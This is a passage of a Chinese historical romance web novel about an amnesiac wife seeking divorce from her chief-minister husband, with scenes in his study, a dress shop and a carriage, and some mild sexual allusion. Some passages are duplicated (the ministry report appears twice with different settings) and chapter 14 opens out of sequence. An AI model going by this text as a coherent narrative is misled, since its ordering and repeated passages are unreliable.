纾妍往他身后瞧了一眼,眼睫轻颤,“他不在?”
书墨有些迟疑,“在处理公文。”
公子不喜欢旁人来他的书房,方才表姑娘连门都不让进,就被赶走了。
如今娘子都要与公子和离,恐怕更加……
纾妍瞧他一脸为难,以为是李素宁在里头,心想这老狐狸果然极会做戏,在她面前倒是未徇私,转头就关起门来哄人。
她在心里呸了几口,原本想要把家书交给书墨,随即想到指不定待会儿那老狐狸为哄人,将她的家书给新欢瞧,思来想去,还是决定晚些时候再拿给他,转身欲走,忽然听里头传来男人有些低沉的嗓音,“请娘子进来。”
书墨愣了一下,赶紧把人打开,将纾妍请进去。
纾妍本想让淡烟将家书拿进去,可到底当年道谢好些。
免得他觉得她这个将军之女没家教。
纾妍一直觉得裴珩穿得花里胡哨,书房必定也是极浮华,谁知一入内她就闻到一股子极浓重的墨香,混合着一些提神醒脑的香料。
偌大的书房四面皆是书架,整齐码放着书籍,除了一张巨大的紫檀木雕花书案外,一件多余的家具都无。
典雅到了极致,也质朴到了极致。
纾妍甚至想,待会儿也不知裴珩请她坐在哪里,总不至于连杯茶都不让吃。
正愣神,正坐在书案后批阅公文的裴珩搁下手中的笔,温声问:“你怎来了?”
纾妍这才想起自己的正事,自袖中取出那封家书递给他。
裴珩没想到竟这么快,道:“我会尽快安排。”
纾妍极真挚道了一声“多谢”,道:“那大人忙,我就先回去。”
裴珩道:“既来了,不如留下来吃杯茶再吃。”
纾妍心想这儿像是有吃茶的地方吗?
像是知晓她在想什么,他道:“此处是我办公的书房,从不招待旁人,所以不设桌椅。”
纾妍忙道:“那我就先不——”
他忽然道:“你不是旁人。”
纾妍深以为然地点头,一本正经,“确实,我是前妻。”
裴珩似乎很认可她的话,让书墨去隔壁茶室搬了一张椅子来。
书墨动作十分麻利,搬了一张椅子放在书案后,与裴珩专坐的那张椅子并排放在一起。
纾妍觉得那椅子摆放位置十分不妥当,实在太亲近,可裴珩倒是一脸坦然,她也不好显得太小家子气,于是大大方方地坐下。
剩下三人去了隔壁茶室烹茶。
裴珩重新坐回属于自己的位置,道:“我还有几本公文未看完,你先坐着。”
纾妍丝毫不介怀,“大人忙自己的,我随意坐坐,吃口茶就走。”
裴珩道了一声“好”,接着埋首案牍。
纾妍百无聊赖地打量一圈书房,只见
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屋子里除却书之外,竟无一样得意有趣的东西,心中不禁好奇这个人难道除却政事以外,是不是就没旁的喜好。
偏偏她最讨厌看书,心中十分后悔答应留下来吃这杯茶。
坐了一刻钟的功夫,也不见书墨他们回来,而裴珩手下的笔一直未停过。
一向怕闷的纾妍有些坐不住,忍不住觑他一眼,只见眉目若雪的男人坐得笔直端正,长长的眼睫毛垂落下来,遮住那对深不见底的漆黑眼眸。
一个男人,怎眼睫生得这样长呢?
还有,他身上的气味怎这样干净好闻,也不知能不能制成香料……
许是晌午被李素宁扰的没睡午觉的缘故,纾妍瞧着瞧着,眼皮子重的抬不起来,眼前之人也好似与很多年那个坐在水榭里的紫薇花一般的男子重合,就连屋外的蝉鸣似乎都与那天夏天的相似。
一阵又一阵,叫得人心里怪烦的……
裴珩本以为纾妍借口送家书来,一定有话同自己说,所以才留她下来吃茶。谁知等了许久,也未听到她说话,一转头竟瞧见她以手支颐,正阖着眼睛打盹,鸦羽似的眼睫垂在洁白的下眼睑处,投下一片阴翳。
裴珩盯了她好一会儿,她竟毫无察觉,反而不知做了什么美梦,嫣红的嘴角微微上扬。
他的眸光落在她额角用胭脂描绘的海棠花瓣。
若是寻常女子额头头上弄出这样一道深的伤痕,怕是要自卑伤心,不肯见人,她倒好,还跑来见他。
他瞧着这道疤痕,心里头不知为何竟起了一丝丝痒意。
就好像是她晌午时玩的五彩锦绳,一圈又一圈,缠在她细白修长的手指上,却又好似缠在他心里,因着她手上灵活的动作,越缠越紧。
明明是同一张面孔,怎会生出两副不同的心肠?
他并不是贪欢之人,彼时心中竟对她生出几分隐秘的渴望来。
裴珩只觉得一向孤冷的书房有些热,不自在地松了松领口,想吃口茶压压心底的躁动,谁知这时听到她竟说起梦话。
裴珩好像听得“七”字,微微低下头想要听得清楚些,谁知悠悠醒转的女子迷蒙着双眼望着他。
四目相对。
裴珩喉结滚了一滚,坐直身体,“你方才打瞌睡,我扶了你一把。”
纾妍揉揉眼睛,声音透着刻骨的妩媚慵懒,“我怎睡着了呢?”
裴珩不动声色地理了理宽大的衣摆,淡淡开口,“许是累了。”
“定是如此,”纾妍解释,“我并不是随时随地睡着之人!”
裴珩斜她一眼,“是吗?”
她下巴微抬,“自然是,大人难道还值得我说谎不成?”
裴珩那句“谁值得你说谎”刚到口中又咽回去。
纾妍也懒得吃他这杯矜贵的茶,起身打算告辞,这时书墨他们进来,笑道:“这会儿到了饭点,不如娘子留下来用饭?”
淡烟也帮腔,“也算是感谢姑爷为小姐寄信。”
纾妍未说话,裴珩忽然道:“你喜欢吃什么?让他们准备便是。”
这话便是在留客。
本以为他主动留客,她一定会留下,谁知她却摇头,弯着眼睫笑,“多谢大人的好意,可我不习惯同不熟的人一起用饭。”
11.第 11 章
他们不熟吗?
裴珩听到这句话,平静如湖水的内心像是被人投入一粒石子,泛起微微涟漪。
大抵是不熟的。
除却床祇之间,两人几乎无别的交集。可裴珩从未觉得不妥,他一向无心风月,于他而言,妻子的作用便是生儿育女,主持中馈。
纾妍离开后,裴珩手书一封,将她的家书一并交给书墨,让他命人即刻送出去。
这日傍晚,裴珩仍是一个人用晚饭。
自十一岁开始,早就已经习惯一人用饭的裴珩竟无端生出几分孤寂来。
饭后,他在院子里消了一会儿食,重新坐回书案前接着处理公务,直到快子时方处理完。
裴珩喜洁,睡前必定要沐浴,他搁下笔时,深知他习惯的书墨已经备好水。
沐浴时,裴珩不知怎的想起同沈氏第一回圆房时的情景来。
身段过分玲珑的少女几乎柔软得不可思议,任由他予取予求。
那天夜里,一向自制力极强的裴珩险些失控,直到摸到她满脸的泪痕,才清醒过来……
书墨见自家公子起了兴,迟疑,“今夜十五,公子不若去瞧瞧娘子?”
裴珩没搭理他,将两条强而有力的手臂搭在桶沿上,阖上眼睫。
他十一岁以前,一直同父亲习武,这些年亦有晨练,尽管快要而立之年,但依旧肌理分明,腹部块垒分明。
这会儿虽已经夜深,屋子里热气氤氲,暖黄的灯火在他洁白如玉的脸上笼下一片阴影,愈发显得鼻梁高挺。
他微微抬着冷硬的下颌,水珠顺着他结实的胸膛的没入水中。
也不知是桶里热水的缘故,还是起了欲念的缘故,他微湿的雪白面庞透着薄薄的一层绯色,对比之白日里的端方持重,多了一些说不清道不明的旖旎,就像是坠落凡尘的谪仙,染上极重的欲与望,让人忍不住想要扒开那张完美的皮囊,一窥究竟。
哪怕服侍他十几年的书墨,也不由地想,做男人做到自家公子这般,无论是前程上,还是相貌上,也算到了极致。又见自家公子似乎忍得极辛苦,又建议,“可要唤个小丫鬟来侍夜?”
这后院里,不知有多少小丫鬟惦记着公子,只是公子从来无意。
如今娘子同公子闹和离,在娘子病好之前,恐怕不会有新人入门,公子总不能这样一直忍着。
“无需,”一向最怕麻烦的男人喉结滚了一滚,哑声吩咐,“去将那团锦绳取来,就放左手边最下层的抽屉里,莫要用手碰。”
书墨愣了一下,随即想到公子今日将娘子玩的那团锦绳带回来,一时不明白沐浴时取那个做什么。但听话是他的长处,他赶紧去隔壁书房去取。
那团锦绳被公子常用的帕子包着,放在平日里收着一块玉佩的紫檀木锦盒里。
书墨想起公子的吩咐,连同锦盒一并拿过去。
盒子打开,公子伸出湿漉漉的手将那团乱麻一般的五彩锦绳取出来。
锦绳似乎还散发着淡淡的香气。
不同于一般的熏香,味道极淡,似花香,又似果香,极好闻。
书墨心想难不成公子也想聊以交线之戏?正好奇,公子道:“你去睡罢,这儿不用你服侍。”
书墨应了声“是”,收拾完沐浴的东西后出了屋子。
他刚关上房门,就听见屋里传来一声极压抑低沉的喘息声。
书墨:……
难不成那绳子还有旁的妙处?
*
翌日。
裴珩不用朝会。
他用罢朝食,要出门时,书墨却拿了一套朝服来。
除却朝会,裴珩一般都是穿自己的常服。
他道:“今日不朝会,换套别的。”
书墨服侍他十余年,自然也知晓自家公子的习惯,有些为难,“公子素日里所穿的衣裳全都都由娘子一手准备,每隔半个月送一回。昨儿最后一套衣裳穿完,娘子没送来。”顿了顿,又补充道:“怕是以后也不会再送来。”
裴珩闻言,扶着额头,半晌未言语。
也不知是不是昨夜欲求不满,还是疏解过度,书墨总觉得自家公子的脸色似乎不大好看,忙道:“我叫一个小丫头去后院瞧瞧公子的衣裳可都熨好了?”
裴珩“嗯”了一声,“去把参汤拿来。”
书墨为难,“今日厨房没备下,怕是现煮也来不及。”
裴珩轻轻揉捏着眉心,“从前不是一直都备着,怎现在做事这样懒怠。”
书墨道:“从前是娘子每日天不亮炖好命人送来,公子想吃时可随时取,自娘子决意同公子和离后,就没再送来。”
裴珩闻言,洁白的指骨顿住。
书墨接着道:“其实,我一直觉得这世上再没比娘子待公子更细心仔细的人,虽不大同公子在一处,但公子的衣食方面事事留心,就连书房内所用的提神醒脑的香料,也是娘子特地为公子所制。娘子总说外头卖的那些香料虽好,但用多了怕公子夜里睡不好,所以费心制了送来。我方才去收拾时瞧着,香也不多了,也不知娘子以后还会不会送来。不过我想,大抵以后都不会再有。”
书墨一时又想起这么多年,娘子给公子准备夜宵时,也总会想着自己一份,还曾给过银子使,不免有些感伤,“娘子如今得了这离魂症,什么也不记得。公子也要狠心与娘子和离,连哄都不愿哄,可怜娘子无依无靠的,将来出了咱们家的大门,也不知会不会有人欺负娘子……”
“不过娘子生得极好,性子又那样好,将来若是改嫁,也不知谁有这样的好福——”
话未说完,见自家公子冷眼盯着自己,他立刻识趣地转移话题,“我现在命人去煮些参汤来。”
“不必!”裴珩沉默片刻,吩咐,“你去问问她,屋里可还有换洗的干净衣裳。”
书墨立刻去办。
大约过了两刻钟的功夫,书墨去而复返,道:“娘子一大早就出门玩去了。”
*
纾妍没想到,帝都远比她想象得热闹。
大街上人流如织,车如流水马如龙。
糖葫芦的甜香,胡麻饼的焦香,捏糖人的叫卖声……
难怪人人都向往帝都,就连她心底也不免生出几分向来来。
几次她想要下马车走一走,都被淡烟拦住。
淡烟笑道:“小姐身子还未好透,若是被人冲撞就麻烦了。”
纾妍只得作罢。
马车大约行了两刻钟的功夫,拐向一道名为“界身巷”的巷子。
据轻云说,界身巷有一专门做女子生意的好去处,名浮华阁,就连里头的婢子都生得格外伶俐。
纾妍今儿来不为别的,要为自己裁制几身衣裳。
大约又过了半刻钟的功夫,马车终于停下。
纾妍刚被淡烟馋下马车,果然两名模样伶俐,衣着华丽的妙龄女子迎上前来,向她欠身福了一福。
浮华阁的婢子早就练出了一对火眼金睛,眼前衣着端庄女子虽戴着幂笠,可举手投足一看就来自官宦人家。
两人正欲将人迎入阁内,这时一阵风吹来,扬起女子垂至肩膀的面纱。
惊鸿一瞥,两个婢子一时呆住。
纾妍见她二人愣愣望着自己,不解,“我不能进?”
“自然能进,娘子快请!”
婢子回过神,立刻将她请进阁内。
一进去,纾妍就被
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阁内琳琅满目的华服珠宝首饰吸引住眼球,不由地取下头上的幂笠,露出一张明媚娇艳的面孔。
原本正在阁子里挑选东西的客人以及服侍的婢子皆朝她望去,眼神里闪过惊艳之色。
竟不知这帝都有这样美艳的女郎,尤其是她额角描绘的海棠,也不知是何时出的新妆容。且她一入内,带来一股子极淡却又极特别的香气,好似将春日里的花园搬入这大堂里,令人心旷神怡,烦恼尽消。
这样集“特别”为一身的女郎,偏衣裳审美怪异得很……
已经习惯被人关注的纾妍丝毫不在意,自顾自挑选起自己喜欢的物件。
这里的掌柜果然是会做生意的,光是那些穿在几名容颜俏丽的女子身上展示的衣裙,就已经让她挑花了眼。
“这件,这件,还有那件绛红色,”她一一指过去,“我全都要。”
跟着服侍的婢子见她虽穿得老气,但眼光却极好,挑的全都是今夏最时兴的款式,笑问:“娘子无须试?”
“无须。”从前未出阁时纾妍就爱做新衣裳,院子里专门有两间房拿来放她的衣裳鞋履。这些衣裳只需瞧上一眼,她就知晓上身效果。
她见差不多了,道:“就这些吧。”
婢子还是头一回见到如此爽快的客人,忙将纾妍待到二楼专门招待贵客的小阁子,奉上点心,道:“这些都是样衣,成衣须要等上十日子。”
纾妍等得起。
她一边吃茶,一边不禁感慨,帝都的人不仅有钱有闲,脑子还好使,赶明她回去也开一间。
一盏茶未吃完,婢子拿着算好的账单上前,“一共三百五十二两,我们掌柜的说,娘子给三百五十两就好”。
纾妍看向淡烟。
她的钱一向是淡烟管着。
淡烟下意识去摸自己的荷包,随即想起她们太久没出门,一时忘记带钱,悄悄在自家小姐耳边耳语几句。
纾妍捧着茶下意识看向正笑眯眯望着自己的婢子。
若是搁在从前在家时,她沈六姑娘的名头都能当银票使,但这是帝都……
她还是头一次如此尴尬,但又不愿意借裴珩的名头,正犹豫要不要让淡烟回去拿钱,这时,身后响起一道温和的嗓音,“不知某可有荣幸替娘子付这笔账?”
纾妍朝声音来源望去,只见不远处一存放香料的红木雕梅花的博古架前,长身鹤立着一头戴大帽男子。
他瞧着三十出头的年纪,身上着了鸦青色云纹鹤氅,腰间别着一把檀香扇,虽模样不如裴珩,但也生得眉目疏朗,气度如华。
*
文渊阁。
户部刘侍郎正在向端坐在书案后的裴珩汇报上一季度的财政。
刘侍郎说话十分啰嗦,一句话需要先铺垫三句,汇报一笔账目前,还要根据账上的日期详细地讲述当时的天气,听得人头昏脑胀。
饶是裴珩涵养再好,也不禁蹙起眉头。
偏刘侍郎又善于察言观色,关切地询问:“阁老可是休息不好?下官瞧着阁老精神有些不济。下官抽屉里恰好搁了些上好的参,是下官的亲戚送来,常饮用有强身健体,延年益寿的功效。”
裴珩脑仁更疼了,轻轻揉捏着太阳穴,“不必,继续吧。”
刘侍郎接着汇报。
待他汇报完,已经是半个时辰后,裴珩扫了一眼身上的朝袍,想起家里那个得了离魂症的小猫来,叫来书墨:“她今日去哪里逛了?”
书墨一整日都陪在他身边侍奉茶水,哪里知晓,“兴许就是四处走走,娘子头一回出门,势必要逛得久些。”
裴珩吩咐,“你现住回家瞧瞧她可在,若是还没回就去街上找一找,寻到后即刻回我。”
12.第 12 章
户部。
户部刘侍郎正在向端坐在书案后的裴珩汇报上一季度的财政。
刘侍郎说话十分啰嗦,一句话需要先铺垫三句,汇报一笔账目前,还要根据账上的日期详细地讲述当时的天气,听得人头昏脑胀。
这也就罢了,他一边说,眸光还总是若有似无的略过裴珩身上的朝服。
饶是裴珩涵养再好,也不禁蹙起眉头。
刘侍郎忙关切地询问:“阁老可是休息不好?下官瞧着阁老精神有些不济。下官抽屉里恰好搁了些上好的参,是下官的亲戚送来,常饮用有强身健体,延年益寿的功效。”
裴珩脑仁更疼了,轻轻揉捏着太阳穴,“不必,继续吧。”
刘侍郎接着汇报。
待他汇报完,已经是半个时辰后,裴珩扫了一眼身上的朝袍,想起家里那个得了离魂症的小猫来,叫来书墨:“她今日去哪里逛了?”
书墨一整日都陪在他身边侍奉茶水,哪里知晓,“兴许就是四处走走,娘子头一回出门,势必要逛得久些。”
裴珩吩咐,“问问派去跟着的人她去哪儿了。”
书墨应了声是,即刻去办。
两刻钟后,书墨去而复返。
正埋首案牍的裴珩头也未抬,“她今日去了何处?”
书墨忙从怀里掏出一本手札,打开后按照书写的行程念,“娘子辰时三刻出了门,大约巳时二刻出现在界身巷的浮华阁。大约在里头逛了半个时辰,挑了衣裳若干,首饰若干,共花费三百五十两银。不过娘子像是没钱付账。一身高八尺,头戴大帽,形容举止风流的男子见状,慷慨解囊,赠五百银——”
话音未落,裴珩手里的朱笔一顿,“沙”一声响,在雪白的纸上划出重重一道红痕,笔锋苍劲有力,几乎透彻纸背。
*
浮华阁内。
纾妍悄悄问淡烟,“我可识得他?”
淡烟摇头,“我也是头一回见。”
儒雅风流的郎君已经走到她跟前,自报家门:“某姓谢。”
纾妍观其行言表倒不像是骗子,偏她自幼什么也不缺,便是要天上的星星,她父兄也愿意摘来给她,即使当下无钱结账,亦不会为这些小利动心。
她报以微笑,落落大方,“多谢谢公子,无功不受禄。”
须知寻常富足百姓之家一年花费不过二十两,谁人得了这样的承诺怕不是高兴地疯了,这美貌的小娘子瞧着不过十六七岁年纪,明明无钱付帐,竟不为所动。
在场的人恨不能代她受下的同时,又好奇她究竟是帝都哪户权贵人家里的,养出这样高的眼界来。
男人亦没想到自己被拒,微怔片刻,眼神里流露出笑意,“好吧,想来娘子瞧不上某的这些赠礼,不过,某想要同娘子做个交易。”
纾妍澄澈乌黑的眼眸里流露出不解,“咱们头一回见,谢公子要同我交易什么?”
男人道:“说来不免有些唐突,姑娘所用熏香我很是喜欢,不知可否告知在何处买的?”
纾妍没想到他竟对自己的香感兴趣,只是她也不知哪里来。
一旁的淡烟忙低声道:“这香名忘忧,是小姐亲手所制。”
纾妍闻言很是诧异。
眉目疏朗的俊雅郎君眼神里流露出喜色,“想不到这世上还有人能制出忘忧,若是娘子不介意,请舍些与我可好?”
这个“舍”字说得极好,与先前开口要赠人衣裳首饰听起来悦耳得多。
纾妍自随身佩戴的藕荷色香囊倒出一粒褐色香丸倒在淡烟手心上,由淡烟给他。
他接了香丸在鼻尖嗅了嗅,颇有些遗憾,“果然是这个香气,只是缺了一味香气,可惜,实在可惜。”
轻云轻哼,“你这郎君怎么回事,我家小姐舍与你,你反倒嫌不好。”话音刚落,他身后一面白无须的随侍呵斥,“大胆!”
轻云吓了一跳,随即不甘示弱地瞪着他。
男人斜了随侍一眼。
那随侍立刻唯唯诺诺的低下头去。
男人又对纾妍道:“某不是嫌弃这香不好,只是,这香确实缺了一味。”
淡烟低声道:“小姐制好后,也说缺了一味香气。”
怪不得。
纾妍没想到他竟这样懂香。
她并未真的闻过忘忧,亦不知他口中所说缺的那一味香是什么。
纾妍的母亲曾是制香大家,未出阁时就名满帝都,听说还曾为深受失眠症折磨的太子妃制过一种名为“忘忧”的香。
只可惜,后来母亲去世后,再也无人能制出这种香。
母亲逝去时她不过三岁,为有人照顾她,姨母便给爹做了续弦。
姨母是母亲的同胞妹妹,比母亲小了十岁,从前在闺阁里也曾同母亲学过制,尽得母亲的真传。
只不过,姨母却常说这世上再无人有母亲那样有天赋的制香高手。
姨母还说:“妍妍,你的嗅觉与姐姐一样好,只可惜心总是静不下来。”
纾妍的确静不下来。
这世上好玩的东西有那样多,去草原上策马,去小酒馆同人吃酒听评书,去戏园子里听戏,样样不比制香好玩。
她这辈子没什么大志向,只想要痛痛快快地活一场。
更
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何况“忘忧”,也要有忧愁才能够忘。
十五岁以前,这世上就没有她沈纾妍想要却得不到的东西,又何来的忧。
对方已将那香丸收入袖中,道:“诚如娘子所说,无功不受禄。”言罢,看了一眼随从。
随从立刻自袖中取出几张银票,恭恭敬敬地递上前。
男人温和道:“千金难买心头好,这是某的谢礼。或者,娘子可将它看作一桩买卖。”
淡烟扫了一眼,那银票加起来足有五百两,顿时心生警惕。
这人出手也太阔绰,该不会对自家小姐有什么企图。自家小姐从前心思单纯得很,也最爱结交朋友。合得来,即便是乞丐,小姐也愿意请对方吃一杯酒。
纾妍确实心里没想太多。
彼时的纾妍还未曾见识过人世间的人情冷暖,亦未遇到过坏人,在她眼里,人能有多坏呢?顶多贪吃些,贪财些,贪色些。若为了这一丁点的恶,就要 日防夜防,岂不活得累死。
不过,她并未收,“不过一粒香而已,不值什么。”
那人没想到她仍是不肯收,笑道:“既如此,不如就当某借给——”
话音未落,一道低沉的嗓音插了进来。
“她不需要。”
纾妍听着耳熟,寻声音望去,只见一袭绯红孔雀补子官袍,头戴珍珠檐帽,俊美无双的男人出现在门口。
纾妍困惑。
他不是一向忙得很,怎得空跑这儿来了?
且此处卖的都是女子所用物件,难不成陪他亲亲表妹?
纾妍飞眼往他身后望去,也只见书墨一人。
又见在场的女子拿眼儿悄悄打量着他,各个面红耳赤,在心里轻哼一声,这老狐狸一把年纪,没事儿就爱四处招摇。
他人高腿长,几步就走到她面前。
纾妍很想假装不认识他,谁知这时谢郎君见到他笑得暖风和煦,“裴阁老竟有雅兴来此地?”
裴珩拱手,神色淡然,“见过宁王殿下。”
纾妍讶然。
竟然是宁王谢炔,怪不得出手这么阔绰!
如果她没记错的话,这位宁王殿下是当今天子的同胞兄弟,不曾想这样儒雅有风度,不由地多瞧了一眼,对方恰巧也朝她往来 。
双眸眼神含笑,温和可亲。
仔细瞧着,竟与自己的大哥哥有一两分相似。
纾妍正愣神,只听裴珩冷不丁介绍,“这是内子。”
纾妍的脸倏地红了。
他为何要跟人说她已婚!
都说了她今年十四,才不是他那个英年早婚的笨蛋妻子!
13.第 13 章
纾妍的心理还停留在三年前。
在她看来,裴珩出现之前,别人打量她,皆是因为她沈六姑娘生得好,她无惧旁人瞧。如今被人打量,是因为他妻子的身份,十四岁的纾妍实在羞于视人。
偏那只老狐狸与宁王殿下寒暄过后,还若无其事地问:“可挑好了?若有喜欢的全都一并买下。”
“统统都不喜欢……”
来了脾气的娇小姐嘀咕一声,想要说先前挑的那些全都不要了,又觉得陪着自己忙活许久的婢子实在辛苦,心里想着待会儿回去还钱给他就是,于是说道:“已经挑好。”又让淡烟与轻云留下来交涉,自己则向宁王施了一礼,在众人诧异的眸光中扬长而去。
谁不知当朝首辅在朝中出了名不近人情,想不到这首辅夫人更厉害,还敢给首辅脸子瞧……
宁王狐疑的眸光亦顺着纾妍出了大堂。
浮华阁门口栽了一株梨花树,恰巧屋外这时一阵微风拂过,密密匝匝的梨花瓣如同雪一般飞落在她身上。她停下脚步,以手捧花,扬起雪白小巧的下颌尖,惊喜地望着这突如其来的“雪景”。
巧笑倩兮,美目盼兮。
要是换件素色的衣裳,岂不是梨花成了精。
一贯风雅的宁王瞧痴了眼,直到察觉到脑后有一道狠辣的眸光,忙收回视线,冷不丁对上一双深黑冰凉眼眸,心里咯噔一下。
论起亲戚,裴珩还是他的表弟,这样盯着自己的的表弟媳瞧,确实有失妥当。
宁王轻咳一声,热络地问:“怀瑾特地来接弟妹。”
怀瑾是裴珩的字。
这帝都谁人不知裴阁老是大端帝国最忙的人,每日去衙署最早,走得最晚,从前宁王在他手底下当过几日的差,被折磨得苦不堪言,连夜向皇兄递了辞呈。
这样一个人,从不带妻子出席宴会,也绝不会特地来陪妻子购物,宁王也就随口一问。
谁知一脸淡漠的男人应了句“是”。
宁王:“……”
裴珩道:“我还有事,就不打扰殿下的雅兴。”言罢,瞥了一眼书墨。
书墨麻溜叫来掌柜结账。
掌柜哪里想到今儿店里来了当朝首辅与王爷,哪里肯收,非说要孝敬首辅夫人。
这些年想要巴结裴珩的人数不胜数,送钱,送物,甚至送女人的都有,这些场面书墨早已处理得娴熟,并不理会他的阿谀奉承之言,只叫他过几日去府上取钱,并道:“以后我们娘子来此,一律记在我们大人账上。”
那掌柜唯唯诺诺,又将本店的镇店之宝捧到裴珩跟前,一脸谄媚,“小的方才瞧见首辅夫人盯着这副头面瞧了许久,所谓宝马配英雄,珠钗配美人,小的愿意将此献与夫人。”
裴珩闻言,扫了一眼描金花卉盒漆。
只见用墨绿色丝绸装裱的盒内静静躺着一整副用南珠镶嵌的黄金头面,在日光下泛着莹润的紫光。
南珠不难得,难得是上头的南珠个头各个大小相同,品相一点儿不输宫里的物件。
只是这些东西,裴珩幼时在自己母亲的嫁妆里见了不少,实在不足为奇。
倒是其中一支玉兔抱珠的金钗倒是极为有意趣。
那掌柜何等眼尖,忙道:“方才夫人就是盯着这支钗许久,还说这兔子可爱极了。”
裴珩不置可否,与宁王殿下道别后头也不回地离去。
那掌柜愣在原地,这时宁王瞧了一眼,笑道:“果然颇为奇巧。”
掌柜听了忙又捧与宁王,谁知又听他唏嘘,“只可惜这样有意趣的物件,本王却无可送之人。”说完,也走了。
掌柜:“……”
*
马车里。
纾妍正百无聊赖地数着梨花花瓣。
她等了许久也未见淡烟与轻云上马车,正欲出去瞧瞧,朱红雕花车门忽然被人推开。
纾妍望着来人怔了片刻,轻哼一声,偏过脸去。
裴珩并未在意她的小性,抬脚上了马车,在她身旁坐下。
本就不大的空间顿时显得有些逼仄。
纾妍鼻子太灵敏,他身上混合着墨香的淡淡薄荷气息充斥在她鼻尖。
纾妍并不讨厌他身上的气息,反而说不出的喜欢。
可正因如此,她更加不自在,尤其是他还挨着她坐,绯红的官袍几乎压在她的衣裙上,两条无处安放的大长腿紧挨着她的腿。她甚至能够隔着官袍柔软的面料感受对方的体温,以及对方腿部强而有力的肌肉。
纾妍脸上的热度自后背一直爬上面颊,就连耳朵似乎都烧了起来。
可对方却毫无察觉,十分地坦然。
她忍无可忍,“大人有自己的马车,为何非要同我挤?”
裴珩盯着她瞧了片刻,收回视线,“这是我的马车。”说着自马车暗格里取出一本公文兀自看了起来。
纾妍:“……”
难怪她上车时那车夫眼神颇为怪异。
可谁叫两辆马车外观瞧着差不多。
原本还盛气凌人的娇小姐顿时矮人半截,红着脸要下车,又听他道:“她二人已经离开,我刚好回府,可送你。”
夫妻都做过,也不过是同乘而已。
纾妍只好坐回去。
马车渐渐地驶离界身巷,纾妍是心里藏不住话的人,“大人是特地为我而来?”
淡烟曾同她说,从前二人也曾花前月下过,想来这也是常有的事儿。
裴珩淡淡道:“路过而已。”
纾妍:“……”
好吧。
她想起在浮华阁之事,正色道:“请大人以后莫要在人前说我是大人的妻子。”
裴珩的手一顿,从公文里抬起视线,看向身旁不大高兴的小妻子。
许是逛了半日的缘故,她鬓发微蓬,雪似的面颊透着薄薄的绯色,就连圆润的耳珠亦红得滴血。
他不知怎得想起从前在床祇间,耳珠红得滴血的女子躲在鸳鸯衾被中,怯怯地唤他去熄灯。
情不自禁时,他将那鲜艳如红豆的耳珠含入口中,她小声哀着“官人别咬”,修长的腿却缠上他的腰……
裴珩几乎是立刻收回视线,喉结滚了一滚,嗓音喑哑,“我让你觉得丢人?”
心思单纯的女子丝毫没有察觉到他的异常,反问,“难不成我要以大人为荣?”
裴珩一时竟无言以对。
他顶着裴家嫡长子的身份出生,自启蒙以始,无人不道裴家出了一个神童,后被选入东宫做伴读,十七岁连中三元,不到而立之年位极人臣。
裴家人人敬他,人人怕他,但人人又以他为荣。
她是他的妻子,本该也以他为荣。
至少以前她一直如此。
可眼前有些骄纵任性的女子却一脸傲慢,“这世上自有我沈六引以为荣之人,却不是大人。大人再好,亦非我心目中的如意郎君。上回大人与我约法三章,就把这个当作第三条。”
那样透着几分稚气的话,却让裴珩心中无端生出几分火气来。
他摩挲着拇指的白玉扳指,道:“你可想清楚,你只能要
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求我三件事。”
纾妍闻言,果然有些犹豫。
她目前还未好,万一以后遭遇到更为离谱的事情,岂不是再无要挟他的把柄。
她正犹豫不绝,又听他极温和地说:“你如今生病,我身为你的夫君——”
“是前夫!”她打断他的话,气哼哼,“都说我今年十四,同大人成婚的那个笨蛋不是我!”
裴珩对上她倔强却又异常明亮的眼,沉默片刻,道:“我曾承诺,在你病好前会好好照顾你,我的身份便是你最好的护身符。”
这番话说得合情合理,一向吃软不吃硬的纾妍反倒有些不好意思,“那也不能见人就说,大人下回说之前要经过我同意才行,万一将来碰见七……”她说到这儿住了口,神情有些怅然。
裴珩再次听到那个“七”字,不知为何,这让他感到很不适。
这时马车已经驶入闹市区,裴珩放下手中的公文,向窗外望去。
纾妍听着外头的叫卖声,也好奇地朝着他那侧望去,只见车窗外不远处捏糖人的摊位前围了好几个孩子,旁边还有一个扛着糖葫芦的小哥正在叫卖,都把她叫馋了。
她不由地咽了一口口水,“想来帝都的糖葫芦滋味一定不同些,糖人亦更甜些,捏得也标致些……”
话音未落,她那前夫突然回过头来。
四目相对,呼吸可闻。
纾妍几乎是毫不示弱地瞪回去。
可眼前的男人像是哄孩子一般,“想吃?”
纾妍很想有出息地说不想吃,但对上那双格外温和的眼眸,鬼使神差地点头,“想……”
裴珩叫停马车,吩咐书墨几句。
书墨头一回接到这样的任务,眼里流露出讶然。他觑了一眼直勾勾盯着糖葫芦的娘子,心下了然,赶紧去办。
半盏茶的功夫,他双手举着五颜六色的泥人与一串娇艳欲滴的糖葫芦。
纾妍眼神里流露出惊喜,“哎呀,这样多我怎吃得完?多谢!”边说边接过来,一口咬掉半个挺着大肚子的“猪八戒”。
书墨:“……娘子客气。”
一路上,已经不知多久没吃过这些的纾妍吃得极满足。
待三四个糖人下了肚,纾妍终于意识到马车里还有个大活人,有些不舍地把糖葫芦递到他面前,“大人要吗?”
“我从不吃糖。”正在看公文的裴珩头也未抬,却换个更加舒适的姿势坐着。
他的腿实在太长,几乎搭在纾妍腿上,不过看在他给她买零食的份上,这回纾妍没有与他计较,又往左侧挪了挪,幽幽叹了口气,“那大人实在可怜得很,连糖的滋味都不曾尝过。”
裴珩闻言,抬起视线,眸光落在她嫣红的唇上晶晶的糖渍,喉结滚了一滚,接着看公文。
直到纾妍把糖葫芦吃完,忽然听到他道:“宁王殿下今年三十有二。虽说丧偶,可府中姬妾无数。”
正在偷偷舔指尖的纾妍:“……”
这同她有什么关系?
*
大约两刻钟后,马车在角门处停下。
说是要回府的裴珩却并未下车,“我临时还有事要忙,你先家去。”
纾妍并未起疑心,正欲下马车,又回过头来,认真道:“多谢大人请我吃糖,改日我必定回请。”
未等裴珩回答,她已经在等候在此的淡烟的搀扶下下了马车。
主仆三人还未回到澜院,就在花园里被陈嬷嬷截了道。
神色极为严肃的陈嬷嬷道:“云阳县主请大娘子过去一趟!”
14.第 14 章
纾妍闻言,有些犹豫。
她如今失忆,这几年的事情全然不记得,难保将来还有别的更重要的事情求他。
她试着同他商量,“那我第三条改为约好十章可好?”
裴珩闻言,斜她一眼。
一脸天真的女子眼神澄澈地望着他。
显然,她是认真的。
裴珩浸淫官场十几年,最厌恶的便是得寸进尺。
可出乎意料,他却对她的得寸进尺很是受用。
毕竟在这偌大的帝都,他是她唯一可依靠之人,要求过分些也理所当然。
